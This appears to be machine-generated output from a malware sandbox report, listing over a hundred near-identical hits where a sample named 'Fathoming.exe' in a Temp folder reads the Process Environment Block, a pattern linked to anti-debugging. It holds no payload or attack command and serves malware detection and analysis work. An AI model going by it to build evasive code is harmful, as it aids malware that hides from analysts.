Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF02A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF02A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF02A0 mov eax, dword ptr fs:[00000030h]	8_2_21AF02A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B762A0 mov eax, dword ptr fs:[00000030h]	8_2_21B762A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B762A0 mov ecx, dword ptr fs:[00000030h]	8_2_21B762A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B762A0 mov eax, dword ptr fs:[00000030h]	8_2_21B762A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B762A0 mov eax, dword ptr fs:[00000030h]	8_2_21B762A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B762A0 mov eax, dword ptr fs:[00000030h]	8_2_21B762A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B762A0 mov eax, dword ptr fs:[00000030h]	8_2_21B762A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B60283 mov eax, dword ptr fs:[00000030h]	8_2_21B60283
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B60283 mov eax, dword ptr fs:[00000030h]	8_2_21B60283
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B60283 mov eax, dword ptr fs:[00000030h]	8_2_21B60283
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E284 mov eax, dword ptr fs:[00000030h]	8_2_21B1E284
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E284 mov eax, dword ptr fs:[00000030h]	8_2_21B1E284
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF02E1 mov eax, dword ptr fs:[00000030h]	8_2_21AF02E1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF02E1 mov eax, dword ptr fs:[00000030h]	8_2_21AF02E1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF02E1 mov eax, dword ptr fs:[00000030h]	8_2_21AF02E1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA2C3 mov eax, dword ptr fs:[00000030h]	8_2_21AEA2C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA2C3 mov eax, dword ptr fs:[00000030h]	8_2_21AEA2C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA2C3 mov eax, dword ptr fs:[00000030h]	8_2_21AEA2C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA2C3 mov eax, dword ptr fs:[00000030h]	8_2_21AEA2C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA2C3 mov eax, dword ptr fs:[00000030h]	8_2_21AEA2C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB62D6 mov eax, dword ptr fs:[00000030h]	8_2_21BB62D6
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD823B mov eax, dword ptr fs:[00000030h]	8_2_21AD823B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD826B mov eax, dword ptr fs:[00000030h]	8_2_21AD826B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B90274 mov eax, dword ptr fs:[00000030h]	8_2_21B90274
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE4260 mov eax, dword ptr fs:[00000030h]	8_2_21AE4260
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE4260 mov eax, dword ptr fs:[00000030h]	8_2_21AE4260
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE4260 mov eax, dword ptr fs:[00000030h]	8_2_21AE4260
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB625D mov eax, dword ptr fs:[00000030h]	8_2_21BB625D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9A250 mov eax, dword ptr fs:[00000030h]	8_2_21B9A250
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9A250 mov eax, dword ptr fs:[00000030h]	8_2_21B9A250
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B68243 mov eax, dword ptr fs:[00000030h]	8_2_21B68243
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B68243 mov ecx, dword ptr fs:[00000030h]	8_2_21B68243
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE6259 mov eax, dword ptr fs:[00000030h]	8_2_21AE6259
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADA250 mov eax, dword ptr fs:[00000030h]	8_2_21ADA250
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B045B1 mov eax, dword ptr fs:[00000030h]	8_2_21B045B1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B045B1 mov eax, dword ptr fs:[00000030h]	8_2_21B045B1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B605A7 mov eax, dword ptr fs:[00000030h]	8_2_21B605A7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B605A7 mov eax, dword ptr fs:[00000030h]	8_2_21B605A7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B605A7 mov eax, dword ptr fs:[00000030h]	8_2_21B605A7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE2582 mov eax, dword ptr fs:[00000030h]	8_2_21AE2582
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE2582 mov ecx, dword ptr fs:[00000030h]	8_2_21AE2582
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E59C mov eax, dword ptr fs:[00000030h]	8_2_21B1E59C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B14588 mov eax, dword ptr fs:[00000030h]	8_2_21B14588
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE25E0 mov eax, dword ptr fs:[00000030h]	8_2_21AE25E0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E5E7 mov eax, dword ptr fs:[00000030h]	8_2_21B0E5E7
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C5ED mov eax, dword ptr fs:[00000030h]	8_2_21B1C5ED
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C5ED mov eax, dword ptr fs:[00000030h]	8_2_21B1C5ED
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A5D0 mov eax, dword ptr fs:[00000030h]	8_2_21B1A5D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A5D0 mov eax, dword ptr fs:[00000030h]	8_2_21B1A5D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E5CF mov eax, dword ptr fs:[00000030h]	8_2_21B1E5CF
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E5CF mov eax, dword ptr fs:[00000030h]	8_2_21B1E5CF
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE65D0 mov eax, dword ptr fs:[00000030h]	8_2_21AE65D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E53E mov eax, dword ptr fs:[00000030h]	8_2_21B0E53E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E53E mov eax, dword ptr fs:[00000030h]	8_2_21B0E53E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E53E mov eax, dword ptr fs:[00000030h]	8_2_21B0E53E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E53E mov eax, dword ptr fs:[00000030h]	8_2_21B0E53E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0E53E mov eax, dword ptr fs:[00000030h]	8_2_21B0E53E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0535 mov eax, dword ptr fs:[00000030h]	8_2_21AF0535
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0535 mov eax, dword ptr fs:[00000030h]	8_2_21AF0535
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0535 mov eax, dword ptr fs:[00000030h]	8_2_21AF0535
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0535 mov eax, dword ptr fs:[00000030h]	8_2_21AF0535
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0535 mov eax, dword ptr fs:[00000030h]	8_2_21AF0535
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0535 mov eax, dword ptr fs:[00000030h]	8_2_21AF0535
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B76500 mov eax, dword ptr fs:[00000030h]	8_2_21B76500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4500 mov eax, dword ptr fs:[00000030h]	8_2_21BB4500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4500 mov eax, dword ptr fs:[00000030h]	8_2_21BB4500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4500 mov eax, dword ptr fs:[00000030h]	8_2_21BB4500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4500 mov eax, dword ptr fs:[00000030h]	8_2_21BB4500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4500 mov eax, dword ptr fs:[00000030h]	8_2_21BB4500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4500 mov eax, dword ptr fs:[00000030h]	8_2_21BB4500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4500 mov eax, dword ptr fs:[00000030h]	8_2_21BB4500
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1656A mov eax, dword ptr fs:[00000030h]	8_2_21B1656A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1656A mov eax, dword ptr fs:[00000030h]	8_2_21B1656A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1656A mov eax, dword ptr fs:[00000030h]	8_2_21B1656A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8550 mov eax, dword ptr fs:[00000030h]	8_2_21AE8550
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8550 mov eax, dword ptr fs:[00000030h]	8_2_21AE8550
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B144B0 mov ecx, dword ptr fs:[00000030h]	8_2_21B144B0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE64AB mov eax, dword ptr fs:[00000030h]	8_2_21AE64AB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6A4B0 mov eax, dword ptr fs:[00000030h]	8_2_21B6A4B0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9A49A mov eax, dword ptr fs:[00000030h]	8_2_21B9A49A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE04E5 mov ecx, dword ptr fs:[00000030h]	8_2_21AE04E5
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A430 mov eax, dword ptr fs:[00000030h]	8_2_21B1A430
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADC427 mov eax, dword ptr fs:[00000030h]	8_2_21ADC427
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADE420 mov eax, dword ptr fs:[00000030h]	8_2_21ADE420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADE420 mov eax, dword ptr fs:[00000030h]	8_2_21ADE420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADE420 mov eax, dword ptr fs:[00000030h]	8_2_21ADE420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66420 mov eax, dword ptr fs:[00000030h]	8_2_21B66420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66420 mov eax, dword ptr fs:[00000030h]	8_2_21B66420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66420 mov eax, dword ptr fs:[00000030h]	8_2_21B66420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66420 mov eax, dword ptr fs:[00000030h]	8_2_21B66420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66420 mov eax, dword ptr fs:[00000030h]	8_2_21B66420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66420 mov eax, dword ptr fs:[00000030h]	8_2_21B66420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66420 mov eax, dword ptr fs:[00000030h]	8_2_21B66420
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B18402 mov eax, dword ptr fs:[00000030h]	8_2_21B18402
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B18402 mov eax, dword ptr fs:[00000030h]	8_2_21B18402
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B18402 mov eax, dword ptr fs:[00000030h]	8_2_21B18402
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0A470 mov eax, dword ptr fs:[00000030h]	8_2_21B0A470
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0A470 mov eax, dword ptr fs:[00000030h]	8_2_21B0A470
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0A470 mov eax, dword ptr fs:[00000030h]	8_2_21B0A470
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6C460 mov ecx, dword ptr fs:[00000030h]	8_2_21B6C460
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0245A mov eax, dword ptr fs:[00000030h]	8_2_21B0245A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9A456 mov eax, dword ptr fs:[00000030h]	8_2_21B9A456
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD645D mov eax, dword ptr fs:[00000030h]	8_2_21AD645D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1E443 mov eax, dword ptr fs:[00000030h]	8_2_21B1E443
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE07AF mov eax, dword ptr fs:[00000030h]	8_2_21AE07AF
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B947A0 mov eax, dword ptr fs:[00000030h]	8_2_21B947A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8678E mov eax, dword ptr fs:[00000030h]	8_2_21B8678E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE47FB mov eax, dword ptr fs:[00000030h]	8_2_21AE47FB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE47FB mov eax, dword ptr fs:[00000030h]	8_2_21AE47FB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6E7E1 mov eax, dword ptr fs:[00000030h]	8_2_21B6E7E1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B027ED mov eax, dword ptr fs:[00000030h]	8_2_21B027ED
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B027ED mov eax, dword ptr fs:[00000030h]	8_2_21B027ED
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B027ED mov eax, dword ptr fs:[00000030h]	8_2_21B027ED
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEC7C0 mov eax, dword ptr fs:[00000030h]	8_2_21AEC7C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B607C3 mov eax, dword ptr fs:[00000030h]	8_2_21B607C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5C730 mov eax, dword ptr fs:[00000030h]	8_2_21B5C730
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1273C mov eax, dword ptr fs:[00000030h]	8_2_21B1273C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1273C mov ecx, dword ptr fs:[00000030h]	8_2_21B1273C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1273C mov eax, dword ptr fs:[00000030h]	8_2_21B1273C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C720 mov eax, dword ptr fs:[00000030h]	8_2_21B1C720
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C720 mov eax, dword ptr fs:[00000030h]	8_2_21B1C720
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B10710 mov eax, dword ptr fs:[00000030h]	8_2_21B10710
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C700 mov eax, dword ptr fs:[00000030h]	8_2_21B1C700
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0710 mov eax, dword ptr fs:[00000030h]	8_2_21AE0710
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE8770 mov eax, dword ptr fs:[00000030h]	8_2_21AE8770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF0770 mov eax, dword ptr fs:[00000030h]	8_2_21AF0770
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22750 mov eax, dword ptr fs:[00000030h]	8_2_21B22750
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B22750 mov eax, dword ptr fs:[00000030h]	8_2_21B22750
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B64755 mov eax, dword ptr fs:[00000030h]	8_2_21B64755
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6E75D mov eax, dword ptr fs:[00000030h]	8_2_21B6E75D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1674D mov esi, dword ptr fs:[00000030h]	8_2_21B1674D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1674D mov eax, dword ptr fs:[00000030h]	8_2_21B1674D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1674D mov eax, dword ptr fs:[00000030h]	8_2_21B1674D
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE0750 mov eax, dword ptr fs:[00000030h]	8_2_21AE0750
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B166B0 mov eax, dword ptr fs:[00000030h]	8_2_21B166B0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1C6A6 mov eax, dword ptr fs:[00000030h]	8_2_21B1C6A6
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE4690 mov eax, dword ptr fs:[00000030h]	8_2_21AE4690
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE4690 mov eax, dword ptr fs:[00000030h]	8_2_21AE4690
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E6F2 mov eax, dword ptr fs:[00000030h]	8_2_21B5E6F2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E6F2 mov eax, dword ptr fs:[00000030h]	8_2_21B5E6F2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E6F2 mov eax, dword ptr fs:[00000030h]	8_2_21B5E6F2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E6F2 mov eax, dword ptr fs:[00000030h]	8_2_21B5E6F2
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B606F1 mov eax, dword ptr fs:[00000030h]	8_2_21B606F1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B606F1 mov eax, dword ptr fs:[00000030h]	8_2_21B606F1
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A6C7 mov ebx, dword ptr fs:[00000030h]	8_2_21B1A6C7
